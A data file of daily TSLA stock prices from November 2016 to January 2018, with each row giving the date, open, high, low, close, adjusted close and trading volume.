-2016-11-23,190.61000061035156,195.63999938964844,189.0,193.13999938964844,193.13999938964844,4891900,TSLA -2016-11-25,193.63999938964844,197.24000549316406,193.63999938964844,196.64999389648438,196.64999389648438,2366100,TSLA -2016-11-28,195.47999572753906,199.35000610351562,194.5500030517578,196.1199951171875,196.1199951171875,4529200,TSLA -2016-11-29,195.55999755859375,196.72999572753906,189.5,189.57000732421875,189.57000732421875,4439300,TSLA -2016-11-30,191.0,191.88999938964844,187.5,189.39999389648438,189.39999389648438,3547100,TSLA -2016-12-01,188.25,188.52999877929688,181.0,181.8800048828125,181.8800048828125,5126400,TSLA -2016-12-02,182.8800048828125,184.8800048828125,180.0,181.47000122070312,181.47000122070312,4042300,TSLA -2016-12-05,182.50999450683594,188.88999938964844,182.50999450683594,186.8000030517578,186.8000030517578,4072200,TSLA -2016-12-06,185.52000427246094,186.5800018310547,182.67999267578125,185.85000610351562,185.85000610351562,3391600,TSLA -2016-12-07,186.14999389648438,193.39999389648438,185.0,193.14999389648438,193.14999389648438,5461900,TSLA -2016-12-08,192.0500030517578,192.5,189.5399932861328,192.2899932861328,192.2899932861328,3194100,TSLA -2016-12-09,190.8699951171875,193.83999633789062,190.80999755859375,192.17999267578125,192.17999267578125,2722500,TSLA -2016-12-12,192.8000030517578,194.4199981689453,191.17999267578125,192.42999267578125,192.42999267578125,2438900,TSLA -2016-12-13,193.17999267578125,201.27999877929688,193.0,198.14999389648438,198.14999389648438,6823900,TSLA -2016-12-14,198.74000549316406,203.0,196.75999450683594,198.69000244140625,198.69000244140625,4150900,TSLA -2016-12-15,198.41000366210938,200.74000549316406,197.38999938964844,197.5800018310547,197.5800018310547,3219600,TSLA -2016-12-16,198.0800018310547,202.58999633789062,197.60000610351562,202.49000549316406,202.49000549316406,3796900,TSLA -2016-12-19,202.49000549316406,204.4499969482422,199.83999633789062,202.72999572753906,202.72999572753906,3488100,TSLA -2016-12-20,203.0500030517578,209.0,202.5,208.7899932861328,208.7899932861328,4689100,TSLA -2016-12-21,208.4499969482422,212.22999572753906,207.41000366210938,207.6999969482422,207.6999969482422,5207600,TSLA -2016-12-22,208.22000122070312,209.99000549316406,206.5,208.4499969482422,208.4499969482422,3111100,TSLA -2016-12-23,208.0,213.4499969482422,207.7100067138672,213.33999633789062,213.33999633789062,4670500,TSLA -2016-12-27,214.8800048828125,222.25,214.4199981689453,219.52999877929688,219.52999877929688,5915700,TSLA -2016-12-28,221.52999877929688,223.8000030517578,217.1999969482422,219.74000549316406,219.74000549316406,3782500,TSLA -2016-12-29,218.55999755859375,219.1999969482422,214.1199951171875,214.67999267578125,214.67999267578125,4045000,TSLA -2016-12-30,216.3000030517578,217.5,211.67999267578125,213.69000244140625,213.69000244140625,4642600,TSLA -2017-01-03,214.86000061035156,220.3300018310547,210.9600067138672,216.99000549316406,216.99000549316406,5923300,TSLA -2017-01-04,214.75,228.0,214.30999755859375,226.99000549316406,226.99000549316406,11213500,TSLA -2017-01-05,226.4199981689453,227.47999572753906,221.9499969482422,226.75,226.75,5911700,TSLA -2017-01-06,226.92999267578125,230.30999755859375,225.4499969482422,229.00999450683594,229.00999450683594,5527900,TSLA -2017-01-09,228.97000122070312,231.9199981689453,228.0,231.27999877929688,231.27999877929688,3979500,TSLA -2017-01-10,232.0,232.0,226.88999938964844,229.8699951171875,229.8699951171875,3660000,TSLA -2017-01-11,229.07000732421875,229.97999572753906,226.67999267578125,229.72999572753906,229.72999572753906,3650800,TSLA -2017-01-12,229.05999755859375,230.6999969482422,225.5800018310547,229.58999633789062,229.58999633789062,3790200,TSLA -2017-01-13,230.0,237.85000610351562,229.58999633789062,237.75,237.75,6093000,TSLA -2017-01-17,236.6999969482422,239.9600067138672,234.3699951171875,235.5800018310547,235.5800018310547,4617500,TSLA -2017-01-18,236.64999389648438,239.7100067138672,235.5800018310547,238.36000061035156,238.36000061035156,3769000,TSLA -2017-01-19,247.25,248.67999267578125,240.75,243.75999450683594,243.75999450683594,7732300,TSLA -2017-01-20,245.4600067138672,246.0,243.00999450683594,244.72999572753906,244.72999572753906,4204300,TSLA -2017-01-23,245.85000610351562,250.88999938964844,245.5,248.9199981689453,248.9199981689453,6262900,TSLA -2017-01-24,250.0,254.8000030517578,249.64999389648438,254.61000061035156,254.61000061035156,4965500,TSLA -2017-01-25,257.30999755859375,258.4599914550781,251.8000030517578,254.47000122070312,254.47000122070312,5142600,TSLA -2017-01-26,254.2899932861328,255.74000549316406,250.75,252.50999450683594,252.50999450683594,3152100,TSLA -2017-01-27,251.3800048828125,253.0,248.52000427246094,252.9499969482422,252.9499969482422,3166300,TSLA -2017-01-30,252.52999877929688,255.2899932861328,247.10000610351562,250.6300048828125,250.6300048828125,3801100,TSLA -2017-01-31,249.24000549316406,255.88999938964844,247.6999969482422,251.92999267578125,251.92999267578125,4116100,TSLA -2017-02-01,253.0500030517578,253.1999969482422,249.0500030517578,249.24000549316406,249.24000549316406,3958800,TSLA -2017-02-02,248.33999633789062,252.4199981689453,247.7100067138672,251.5500030517578,251.5500030517578,2499800,TSLA -2017-02-03,251.91000366210938,252.17999267578125,249.67999267578125,251.3300018310547,251.3300018310547,2186700,TSLA -2017-02-06,251.0,257.82000732421875,250.6300048828125,257.7699890136719,257.7699890136719,3562500,TSLA -2017-02-07,258.19000244140625,260.0,256.4200134277344,257.4800109863281,257.4800109863281,4244800,TSLA -2017-02-08,257.3500061035156,263.3599853515625,256.20001220703125,262.0799865722656,262.0799865722656,3933000,TSLA -2017-02-09,266.25,271.17999267578125,266.1499938964844,269.20001220703125,269.20001220703125,7820200,TSLA -2017-02-10,269.7900085449219,270.95001220703125,266.1099853515625,269.2300109863281,269.2300109863281,3619700,TSLA -2017-02-13,270.739990234375,280.7900085449219,270.510009765625,280.6000061035156,280.6000061035156,7029600,TSLA -2017-02-14,279.0299987792969,287.3900146484375,278.6099853515625,280.9800109863281,280.9800109863281,7345200,TSLA -2017-02-15,280.0,282.239990234375,276.44000244140625,279.760009765625,279.760009765625,4947900,TSLA -2017-02-16,277.6000061035156,280.0,268.5,268.95001220703125,268.95001220703125,7077300,TSLA -2017-02-17,265.79998779296875,272.8900146484375,264.1499938964844,272.2300109863281,272.2300109863281,6257100,TSLA -2017-02-21,275.45001220703125,281.3999938964844,274.010009765625,277.3900146484375,277.3900146484375,5676700,TSLA -2017-02-22,280.30999755859375,283.45001220703125,272.6000061035156,273.510009765625,273.510009765625,8755000,TSLA -2017-02-23,264.0,264.6600036621094,255.55999755859375,255.99000549316406,255.99000549316406,14915200,TSLA -2017-02-24,252.66000366210938,258.25,250.1999969482422,257.0,257.0,8171600,TSLA -2017-02-27,248.1699981689453,248.36000061035156,242.00999450683594,246.22999572753906,246.22999572753906,11460800,TSLA -2017-02-28,244.19000244140625,251.0,243.89999389648438,249.99000549316406,249.99000549316406,6078100,TSLA -2017-03-01,254.17999267578125,254.85000610351562,249.11000061035156,250.02000427246094,250.02000427246094,4809500,TSLA -2017-03-02,249.7100067138672,253.27999877929688,248.27000427246094,250.47999572753906,250.47999572753906,3351800,TSLA -2017-03-03,250.74000549316406,251.89999389648438,249.0,251.57000732421875,251.57000732421875,2919400,TSLA -2017-03-06,247.91000366210938,251.6999969482422,247.50999450683594,251.2100067138672,251.2100067138672,3355500,TSLA -2017-03-07,251.9199981689453,253.88999938964844,248.32000732421875,248.58999633789062,248.58999633789062,3459500,TSLA -2017-03-08,247.0,250.07000732421875,245.32000732421875,246.8699951171875,246.8699951171875,3725200,TSLA -2017-03-09,247.6300048828125,248.66000366210938,243.0,244.89999389648438,244.89999389648438,3879300,TSLA -2017-03-10,246.2100067138672,246.5,243.0,243.69000244140625,243.69000244140625,3066300,TSLA -2017-03-13,244.82000732421875,246.85000610351562,242.77999877929688,246.1699981689453,246.1699981689453,3022600,TSLA -2017-03-14,246.11000061035156,258.1199951171875,246.02000427246094,258.0,258.0,7598400,TSLA -2017-03-15,257.0,261.0,254.27000427246094,255.72999572753906,255.72999572753906,5330800,TSLA -2017-03-16,262.3999938964844,265.75,259.05999755859375,262.04998779296875,262.04998779296875,7132200,TSLA -2017-03-17,264.0,265.3299865722656,261.20001220703125,261.5,261.5,6497500,TSLA -2017-03-20,260.6000061035156,264.54998779296875,258.82000732421875,261.9200134277344,261.9200134277344,3614300,TSLA -2017-03-21,262.8299865722656,264.79998779296875,250.24000549316406,250.67999267578125,250.67999267578125,6908600,TSLA -2017-03-22,251.55999755859375,255.07000732421875,250.50999450683594,255.00999450683594,255.00999450683594,4059300,TSLA -2017-03-23,255.38999938964844,257.6700134277344,253.3000030517578,254.77999877929688,254.77999877929688,3320200,TSLA -2017-03-24,255.6999969482422,263.8900146484375,255.00999450683594,263.1600036621094,263.1600036621094,5647300,TSLA -2017-03-27,260.6000061035156,270.57000732421875,259.75,270.2200012207031,270.2200012207031,6230800,TSLA -2017-03-28,277.0199890136719,280.67999267578125,275.0,277.45001220703125,277.45001220703125,7987600,TSLA -2017-03-29,278.3399963378906,279.6000061035156,275.5400085449219,277.3800048828125,277.3800048828125,3676200,TSLA -2017-03-30,278.0400085449219,282.0,277.2099914550781,277.9200134277344,277.9200134277344,4148400,TSLA -2017-03-31,278.7300109863281,279.67999267578125,276.32000732421875,278.29998779296875,278.29998779296875,3294600,TSLA -2017-04-03,286.8999938964844,299.0,284.5799865722656,298.5199890136719,298.5199890136719,13888600,TSLA -2017-04-04,296.8900146484375,304.80999755859375,294.5299987792969,303.70001220703125,303.70001220703125,10134600,TSLA -2017-04-05,302.0400085449219,304.8800048828125,294.20001220703125,295.0,295.0,7880900,TSLA -2017-04-06,296.8800048828125,301.94000244140625,294.1000061035156,298.70001220703125,298.70001220703125,5520600,TSLA -2017-04-07,297.5,302.69000244140625,297.1499938964844,302.5400085449219,302.5400085449219,4579600,TSLA -2017-04-10,309.1499938964844,313.7300109863281,308.7099914550781,312.3900146484375,312.3900146484375,7664500,TSLA -2017-04-11,313.3800048828125,313.4700012207031,305.5,308.7099914550781,308.7099914550781,5724600,TSLA -2017-04-12,306.3399963378906,308.45001220703125,296.32000732421875,296.8399963378906,296.8399963378906,6050700,TSLA -2017-04-13,296.70001220703125,307.3900146484375,295.29998779296875,304.0,304.0,9284600,TSLA -2017-04-17,302.70001220703125,304.0,298.67999267578125,301.44000244140625,301.44000244140625,4138700,TSLA -2017-04-18,299.70001220703125,300.8399963378906,297.8999938964844,300.25,300.25,3035700,TSLA -2017-04-19,302.4599914550781,306.6199951171875,302.1099853515625,305.5199890136719,305.5199890136719,3898000,TSLA -2017-04-20,306.510009765625,309.1499938964844,300.2300109863281,302.510009765625,302.510009765625,6149400,TSLA -2017-04-21,302.0,306.3999938964844,300.4200134277344,305.6000061035156,305.6000061035156,4509800,TSLA -2017-04-24,309.2200012207031,310.54998779296875,306.0199890136719,308.0299987792969,308.0299987792969,5083500,TSLA -2017-04-25,308.0,313.9800109863281,305.8599853515625,313.7900085449219,313.7900085449219,6737700,TSLA -2017-04-26,312.3699951171875,314.5,309.0,310.1700134277344,310.1700134277344,4695000,TSLA -2017-04-27,311.69000244140625,313.0899963378906,307.5,308.6300048828125,308.6300048828125,3468600,TSLA -2017-04-28,309.8299865722656,314.79998779296875,308.0,314.07000732421875,314.07000732421875,4505500,TSLA -2017-05-01,314.8800048828125,327.25,314.80999755859375,322.8299865722656,322.8299865722656,8829600,TSLA -2017-05-02,324.0,327.6600036621094,316.55999755859375,318.8900146484375,318.8900146484375,5382800,TSLA -2017-05-03,317.6700134277344,321.5299987792969,310.45001220703125,311.0199890136719,311.0199890136719,7133400,TSLA -2017-05-04,307.44000244140625,307.7699890136719,290.760009765625,295.4599914550781,295.4599914550781,14152000,TSLA -2017-05-05,298.0,308.54998779296875,296.79998779296875,308.3500061035156,308.3500061035156,8177300,TSLA -2017-05-08,310.8999938964844,313.7900085449219,305.82000732421875,307.19000244140625,307.19000244140625,7006500,TSLA -2017-05-09,309.3800048828125,321.989990234375,309.1000061035156,321.260009765625,321.260009765625,9676500,TSLA -2017-05-10,321.55999755859375,325.5,318.1199951171875,325.2200012207031,325.2200012207031,5741600,TSLA -2017-05-11,323.3999938964844,326.0,319.6000061035156,323.1000061035156,323.1000061035156,4753800,TSLA -2017-05-12,325.4800109863281,327.0,321.5299987792969,324.80999755859375,324.80999755859375,4121600,TSLA -2017-05-15,318.3800048828125,320.20001220703125,312.5299987792969,315.8800048828125,315.8800048828125,7622000,TSLA -2017-05-16,317.5899963378906,320.05999755859375,315.1400146484375,317.010009765625,317.010009765625,4152500,TSLA -2017-05-17,314.3900146484375,314.6300048828125,305.5,306.1099853515625,306.1099853515625,6711900,TSLA -2017-05-18,307.0,313.94000244140625,305.30999755859375,313.05999755859375,313.05999755859375,5653800,TSLA -2017-05-19,315.5,316.5,310.20001220703125,310.8299865722656,310.8299865722656,4687600,TSLA -2017-05-22,312.79998779296875,314.3699951171875,306.79998779296875,310.3500061035156,310.3500061035156,4329200,TSLA -2017-05-23,310.4599914550781,310.7300109863281,303.4800109863281,303.8599853515625,303.8599853515625,4318400,TSLA -2017-05-24,306.510009765625,311.0,305.3999938964844,310.2200012207031,310.2200012207031,5033300,TSLA -2017-05-25,311.0199890136719,316.9700012207031,307.80999755859375,316.8299865722656,316.8299865722656,5014000,TSLA -2017-05-26,317.2799987792969,325.489990234375,316.30999755859375,325.1400146484375,325.1400146484375,7802200,TSLA -2017-05-30,326.0,336.2799987792969,325.760009765625,335.1000061035156,335.1000061035156,7782900,TSLA -2017-05-31,337.69000244140625,342.8900146484375,335.1600036621094,341.010009765625,341.010009765625,9963400,TSLA -2017-06-01,344.0,344.8800048828125,337.2900085449219,340.3699951171875,340.3699951171875,7608000,TSLA -2017-06-02,339.7699890136719,342.8800048828125,335.92999267578125,339.8500061035156,339.8500061035156,5590200,TSLA -2017-06-05,338.5,348.44000244140625,334.2099914550781,347.32000732421875,347.32000732421875,6784400,TSLA -2017-06-06,344.70001220703125,359.489990234375,339.9700012207031,352.8500061035156,352.8500061035156,11086800,TSLA -2017-06-07,356.3399963378906,360.5,355.1400146484375,359.6499938964844,359.6499938964844,9398000,TSLA -2017-06-08,363.75,371.8999938964844,360.2200012207031,370.0,370.0,9061500,TSLA -2017-06-09,374.4200134277344,376.8699951171875,354.79998779296875,357.32000732421875,357.32000732421875,17261400,TSLA -2017-06-12,357.989990234375,364.5,350.6199951171875,359.010009765625,359.010009765625,10517700,TSLA -2017-06-13,367.6199951171875,376.0,366.6099853515625,375.95001220703125,375.95001220703125,11807900,TSLA -2017-06-14,381.0899963378906,384.25,376.30999755859375,380.6600036621094,380.6600036621094,12818400,TSLA -2017-06-15,372.5,375.4599914550781,366.489990234375,375.3399963378906,375.3399963378906,10426500,TSLA -2017-06-16,377.9800109863281,378.010009765625,370.1000061035156,371.3999938964844,371.3999938964844,6731000,TSLA -2017-06-19,375.0,376.70001220703125,367.79998779296875,369.79998779296875,369.79998779296875,6549300,TSLA -2017-06-20,376.6700134277344,378.8800048828125,369.7300109863281,372.239990234375,372.239990234375,7438700,TSLA -2017-06-21,374.3500061035156,376.989990234375,368.0199890136719,376.3999938964844,376.3999938964844,4923200,TSLA -2017-06-22,377.989990234375,385.0,373.57000732421875,382.6099853515625,382.6099853515625,7529800,TSLA -2017-06-23,382.45001220703125,386.989990234375,379.3500061035156,383.45001220703125,383.45001220703125,6445800,TSLA -2017-06-26,386.69000244140625,386.95001220703125,373.1000061035156,377.489990234375,377.489990234375,6604100,TSLA -2017-06-27,376.3999938964844,376.3999938964844,362.0199890136719,362.3699951171875,362.3699951171875,6996400,TSLA -2017-06-28,366.67999267578125,371.739990234375,362.5199890136719,371.239990234375,371.239990234375,6302500,TSLA -2017-06-29,370.6099853515625,371.0,354.1000061035156,360.75,360.75,8221000,TSLA -2017-06-30,363.7099914550781,366.7699890136719,359.6199951171875,361.6099853515625,361.6099853515625,5848500,TSLA -2017-07-03,370.239990234375,371.3500061035156,351.5,352.6199951171875,352.6199951171875,6305400,TSLA -2017-07-05,347.20001220703125,347.239990234375,326.3299865722656,327.0899963378906,327.0899963378906,17046700,TSLA -2017-07-06,317.260009765625,320.7900085449219,306.29998779296875,308.8299865722656,308.8299865722656,19324500,TSLA -2017-07-07,313.5,317.0,307.3800048828125,313.2200012207031,313.2200012207031,14176900,TSLA -2017-07-10,312.8999938964844,317.94000244140625,303.1300048828125,316.04998779296875,316.04998779296875,13820900,TSLA -2017-07-11,316.0,327.2799987792969,314.29998779296875,327.2200012207031,327.2200012207031,11559400,TSLA -2017-07-12,330.3999938964844,333.1000061035156,324.5,329.5199890136719,329.5199890136719,10346100,TSLA -2017-07-13,330.1099853515625,331.6000061035156,319.9700012207031,323.4100036621094,323.4100036621094,8594500,TSLA -2017-07-14,323.19000244140625,328.4200134277344,321.2200012207031,327.7799987792969,327.7799987792969,5625200,TSLA -2017-07-17,325.5400085449219,327.1000061035156,313.45001220703125,319.57000732421875,319.57000732421875,9876900,TSLA -2017-07-18,317.5,329.1300048828125,315.6600036621094,328.239990234375,328.239990234375,6373700,TSLA -2017-07-19,328.2300109863281,331.6499938964844,323.2200012207031,325.260009765625,325.260009765625,6357000,TSLA -2017-07-20,326.8999938964844,330.2200012207031,324.20001220703125,329.9200134277344,329.9200134277344,5166200,TSLA -2017-07-21,329.4599914550781,331.260009765625,325.79998779296875,328.3999938964844,328.3999938964844,4901600,TSLA -2017-07-24,330.239990234375,343.3999938964844,330.010009765625,342.5199890136719,342.5199890136719,8637100,TSLA -2017-07-25,345.0,345.6000061035156,334.1499938964844,339.6000061035156,339.6000061035156,6989200,TSLA -2017-07-26,340.3599853515625,345.5,338.1199951171875,343.8500061035156,343.8500061035156,4820800,TSLA -2017-07-27,346.0,347.5,326.2900085449219,334.4599914550781,334.4599914550781,8302400,TSLA -2017-07-28,336.8900146484375,339.6000061035156,332.510009765625,335.07000732421875,335.07000732421875,4880400,TSLA -2017-07-31,335.5,341.489990234375,321.0400085449219,323.4700012207031,323.4700012207031,8535100,TSLA -2017-08-01,323.0,324.45001220703125,316.1300048828125,319.57000732421875,319.57000732421875,8303100,TSLA -2017-08-02,318.94000244140625,327.1199951171875,311.2200012207031,325.8900146484375,325.8900146484375,13091500,TSLA -2017-08-03,345.3299865722656,350.0,343.1499938964844,347.0899963378906,347.0899963378906,13535000,TSLA -2017-08-04,347.0,357.2699890136719,343.29998779296875,356.9100036621094,356.9100036621094,9268900,TSLA -2017-08-07,357.3500061035156,359.4800109863281,352.75,355.1700134277344,355.1700134277344,6324500,TSLA -2017-08-08,357.5299987792969,368.5799865722656,357.3999938964844,365.2200012207031,365.2200012207031,7449800,TSLA -2017-08-09,361.0,370.0,358.95001220703125,363.5299987792969,363.5299987792969,6892100,TSLA -2017-08-10,361.6000061035156,366.6499938964844,354.6600036621094,355.3999938964844,355.3999938964844,7092900,TSLA -2017-08-11,356.9700012207031,361.260009765625,353.6199951171875,357.8699951171875,357.8699951171875,4365800,TSLA -2017-08-14,364.6300048828125,367.6600036621094,362.6000061035156,363.79998779296875,363.79998779296875,4519200,TSLA -2017-08-15,365.20001220703125,365.489990234375,359.3699951171875,362.3299865722656,362.3299865722656,3085100,TSLA -2017-08-16,363.0,366.5,362.5199890136719,362.9100036621094,362.9100036621094,3413800,TSLA -2017-08-17,361.2099914550781,363.29998779296875,351.5899963378906,351.9200134277344,351.9200134277344,5027700,TSLA -2017-08-18,352.9100036621094,354.0,345.79998779296875,347.4599914550781,347.4599914550781,5408200,TSLA -2017-08-21,345.82000732421875,345.82000732421875,331.8500061035156,337.8599853515625,337.8599853515625,6495400,TSLA -2017-08-22,341.1300048828125,342.239990234375,337.3699951171875,341.3500061035156,341.3500061035156,4322000,TSLA -2017-08-23,338.989990234375,353.489990234375,338.29998779296875,352.7699890136719,352.7699890136719,4954500,TSLA -2017-08-24,352.5199890136719,356.6600036621094,349.739990234375,352.92999267578125,352.92999267578125,4584700,TSLA -2017-08-25,354.239990234375,355.69000244140625,347.29998779296875,348.04998779296875,348.04998779296875,3484000,TSLA -2017-08-28,347.2799987792969,347.3500061035156,339.7200012207031,345.6600036621094,345.6600036621094,3764000,TSLA -2017-08-29,339.4800109863281,349.04998779296875,338.75,347.3599853515625,347.3599853515625,4073700,TSLA -2017-08-30,349.6700134277344,353.4700012207031,347.0,353.17999267578125,353.17999267578125,3412900,TSLA -2017-08-31,353.54998779296875,358.44000244140625,352.82000732421875,355.8999938964844,355.8999938964844,4072800,TSLA -2017-09-01,356.1199951171875,357.5899963378906,353.69000244140625,355.3999938964844,355.3999938964844,3049500,TSLA -2017-09-05,353.79998779296875,355.489990234375,345.8900146484375,349.5899963378906,349.5899963378906,3835100,TSLA -2017-09-06,349.5,350.9800109863281,341.55999755859375,344.5299987792969,344.5299987792969,4091400,TSLA -2017-09-07,345.9800109863281,352.4800109863281,343.45001220703125,350.6099853515625,350.6099853515625,4239200,TSLA -2017-09-08,348.989990234375,349.7799987792969,342.29998779296875,343.3999938964844,343.3999938964844,3263500,TSLA -2017-09-11,351.3500061035156,363.7099914550781,350.0,363.69000244140625,363.69000244140625,7667100,TSLA -2017-09-12,364.489990234375,368.760009765625,360.3999938964844,362.75,362.75,5972900,TSLA -2017-09-13,363.82000732421875,368.07000732421875,359.5899963378906,366.2300109863281,366.2300109863281,4185200,TSLA -2017-09-14,364.3299865722656,377.9599914550781,362.6300048828125,377.6400146484375,377.6400146484375,7202500,TSLA -2017-09-15,374.510009765625,380.0,372.70001220703125,379.80999755859375,379.80999755859375,5420500,TSLA -2017-09-18,380.25,389.6099853515625,377.67999267578125,385.0,385.0,7188000,TSLA -2017-09-19,380.0,382.3900146484375,373.57000732421875,375.1000061035156,375.1000061035156,6451900,TSLA -2017-09-20,373.0,378.25,371.07000732421875,373.9100036621094,373.9100036621094,4919100,TSLA -2017-09-21,374.8999938964844,376.8299865722656,364.510009765625,366.4800109863281,366.4800109863281,4618200,TSLA -2017-09-22,366.489990234375,369.8999938964844,350.8800048828125,351.0899963378906,351.0899963378906,8159400,TSLA -2017-09-25,353.1499938964844,357.4700012207031,342.8800048828125,344.989990234375,344.989990234375,7605900,TSLA -2017-09-26,350.92999267578125,351.239990234375,340.8999938964844,345.25,345.25,7156300,TSLA -2017-09-27,349.8999938964844,351.489990234375,340.5,340.9700012207031,340.9700012207031,6060300,TSLA -2017-09-28,339.8800048828125,342.75,335.3999938964844,339.6000061035156,339.6000061035156,5319600,TSLA -2017-09-29,341.8599853515625,344.67999267578125,338.6000061035156,341.1000061035156,341.1000061035156,5107100,TSLA -2017-10-02,342.5199890136719,343.70001220703125,335.510009765625,341.5299987792969,341.5299987792969,5286800,TSLA -2017-10-03,335.8999938964844,348.54998779296875,331.2799987792969,348.1400146484375,348.1400146484375,10153600,TSLA -2017-10-04,351.25,358.6199951171875,349.6000061035156,355.010009765625,355.010009765625,8163500,TSLA -2017-10-05,356.0,357.44000244140625,351.3500061035156,355.3299865722656,355.3299865722656,4171700,TSLA -2017-10-06,353.1000061035156,360.1000061035156,352.25,356.8800048828125,356.8800048828125,4297500,TSLA -2017-10-09,349.6499938964844,351.75,342.6700134277344,342.94000244140625,342.94000244140625,7493700,TSLA -2017-10-10,346.79998779296875,355.6300048828125,345.5299987792969,355.5899963378906,355.5899963378906,6978500,TSLA -2017-10-11,353.8900146484375,357.6000061035156,351.1499938964844,354.6000061035156,354.6000061035156,4500800,TSLA -2017-10-12,352.95001220703125,359.7799987792969,352.6400146484375,355.67999267578125,355.67999267578125,4087000,TSLA -2017-10-13,356.9800109863281,358.489990234375,353.67999267578125,355.57000732421875,355.57000732421875,3540500,TSLA -2017-10-16,353.760009765625,354.4800109863281,347.1600036621094,350.6000061035156,350.6000061035156,5375500,TSLA -2017-10-17,350.9100036621094,356.2200012207031,350.07000732421875,355.75,355.75,3293300,TSLA -2017-10-18,355.9700012207031,363.0,354.1300048828125,359.6499938964844,359.6499938964844,4939100,TSLA -2017-10-19,355.55999755859375,357.1499938964844,348.20001220703125,351.80999755859375,351.80999755859375,5061800,TSLA -2017-10-20,352.69000244140625,354.54998779296875,344.3399963378906,345.1000061035156,345.1000061035156,4930400,TSLA -2017-10-23,349.8800048828125,349.95001220703125,336.25,337.0199890136719,337.0199890136719,5747300,TSLA -2017-10-24,338.79998779296875,342.79998779296875,336.1600036621094,337.3399963378906,337.3399963378906,4491700,TSLA -2017-10-25,336.70001220703125,337.5,323.55999755859375,325.8399963378906,325.8399963378906,8594100,TSLA -2017-10-26,327.7799987792969,330.2300109863281,323.20001220703125,326.1700134277344,326.1700134277344,5023500,TSLA -2017-10-27,319.75,324.5899963378906,316.6600036621094,320.8699951171875,320.8699951171875,6979700,TSLA -2017-10-30,319.17999267578125,323.7799987792969,317.25,320.0799865722656,320.0799865722656,4254400,TSLA -2017-10-31,320.2300109863281,331.95001220703125,320.17999267578125,331.5299987792969,331.5299987792969,5672300,TSLA -2017-11-01,332.25,332.6099853515625,320.260009765625,321.0799865722656,321.0799865722656,8457300,TSLA -2017-11-02,300.1300048828125,308.69000244140625,292.6300048828125,299.260009765625,299.260009765625,19791400,TSLA -2017-11-03,299.5,306.25,295.1300048828125,306.0899963378906,306.0899963378906,8894000,TSLA -2017-11-06,307.0,307.5,299.010009765625,302.7799987792969,302.7799987792969,6486000,TSLA -2017-11-07,301.0199890136719,306.5,300.0299987792969,306.04998779296875,306.04998779296875,5294300,TSLA -2017-11-08,305.5,306.8900146484375,301.29998779296875,304.3900146484375,304.3900146484375,4725300,TSLA -2017-11-09,302.5,304.4599914550781,296.29998779296875,302.989990234375,302.989990234375,5447100,TSLA -2017-11-10,302.5,308.3599853515625,301.8500061035156,302.989990234375,302.989990234375,4625400,TSLA -2017-11-13,300.1300048828125,316.79998779296875,299.1099853515625,315.3999938964844,315.3999938964844,7584900,TSLA -2017-11-14,315.0,316.3500061035156,306.8999938964844,308.70001220703125,308.70001220703125,5676100,TSLA -2017-11-15,306.010009765625,312.489990234375,301.5,311.29998779296875,311.29998779296875,5978700,TSLA -2017-11-16,313.989990234375,318.1400146484375,311.29998779296875,312.5,312.5,5822100,TSLA -2017-11-17,325.6700134277344,326.6700134277344,313.1499938964844,315.04998779296875,315.04998779296875,13735100,TSLA -2017-11-20,313.7900085449219,315.5,304.75,308.739990234375,308.739990234375,8247700,TSLA -2017-11-21,310.8599853515625,318.2300109863281,308.7099914550781,317.80999755859375,317.80999755859375,7261300,TSLA -2017-11-22,316.7699890136719,317.4200134277344,311.8399963378906,312.6000061035156,312.6000061035156,4917600,TSLA -2017-11-24,313.7900085449219,316.4100036621094,311.0,315.54998779296875,315.54998779296875,3244100,TSLA -2017-11-27,313.25,317.3399963378906,309.510009765625,316.80999755859375,316.80999755859375,4555900,TSLA -2017-11-28,316.3599853515625,320.0,313.9200134277344,317.54998779296875,317.54998779296875,4949500,TSLA -2017-11-29,317.29998779296875,318.0,301.2300109863281,307.5400085449219,307.5400085449219,8767400,TSLA -2017-11-30,308.55999755859375,310.70001220703125,304.5400085449219,308.8500061035156,308.8500061035156,4351600,TSLA -2017-12-01,305.44000244140625,310.32000732421875,305.04998779296875,306.5299987792969,306.5299987792969,4292900,TSLA -2017-12-04,306.5,308.2699890136719,300.6099853515625,305.20001220703125,305.20001220703125,5835100,TSLA -2017-12-05,302.0,308.0,301.0,303.70001220703125,303.70001220703125,4646500,TSLA -2017-12-06,300.1000061035156,313.3900146484375,300.0,313.260009765625,313.260009765625,7195300,TSLA -2017-12-07,312.0,318.6300048828125,311.04998779296875,311.239990234375,311.239990234375,4780600,TSLA -2017-12-08,314.6000061035156,316.9800109863281,311.260009765625,315.1300048828125,315.1300048828125,3468500,TSLA -2017-12-11,314.6300048828125,329.010009765625,313.75,328.9100036621094,328.9100036621094,7938000,TSLA -2017-12-12,330.45001220703125,341.44000244140625,330.0299987792969,341.0299987792969,341.0299987792969,8733200,TSLA -2017-12-13,340.92999267578125,344.2200012207031,336.5,339.0299987792969,339.0299987792969,6221500,TSLA -2017-12-14,341.010009765625,347.44000244140625,336.8999938964844,337.8900146484375,337.8900146484375,5799900,TSLA -2017-12-15,342.0400085449219,343.8999938964844,335.760009765625,343.45001220703125,343.45001220703125,6933200,TSLA -2017-12-18,344.8999938964844,346.7300109863281,337.5799865722656,338.8699951171875,338.8699951171875,5476200,TSLA -2017-12-19,340.260009765625,341.489990234375,330.29998779296875,331.1000061035156,331.1000061035156,6825000,TSLA -2017-12-20,332.69000244140625,333.1000061035156,325.0400085449219,328.9800109863281,328.9800109863281,5953800,TSLA -2017-12-21,329.5899963378906,333.739990234375,327.2099914550781,331.6600036621094,331.6600036621094,4385200,TSLA -2017-12-22,329.510009765625,330.9200134277344,324.82000732421875,325.20001220703125,325.20001220703125,4215800,TSLA -2017-12-26,323.8299865722656,323.94000244140625,316.5799865722656,317.2900085449219,317.2900085449219,4378400,TSLA -2017-12-27,316.0,317.67999267578125,310.75,311.6400146484375,311.6400146484375,4712100,TSLA -2017-12-28,311.75,315.82000732421875,309.5400085449219,315.3599853515625,315.3599853515625,4316300,TSLA -2017-12-29,316.17999267578125,316.4100036621094,310.0,311.3500061035156,311.3500061035156,3777200,TSLA -2018-01-02,312.0,322.1099853515625,311.0,320.5299987792969,320.5299987792969,4352200,TSLA -2018-01-03,321.0,325.25,315.54998779296875,317.25,317.25,4521500,TSLA -2018-01-04,312.8699951171875,318.54998779296875,305.67999267578125,314.6199951171875,314.6199951171875,9946300,TSLA -2018-01-05,316.6199951171875,317.239990234375,312.0,316.5799865722656,316.5799865722656,4591200,TSLA -2018-01-08,316.0,337.0199890136719,315.5,336.4100036621094,336.4100036621094,9859400,TSLA -2018-01-09,335.1600036621094,338.79998779296875,327.3999938964844,333.69000244140625,333.69000244140625,7146600,TSLA 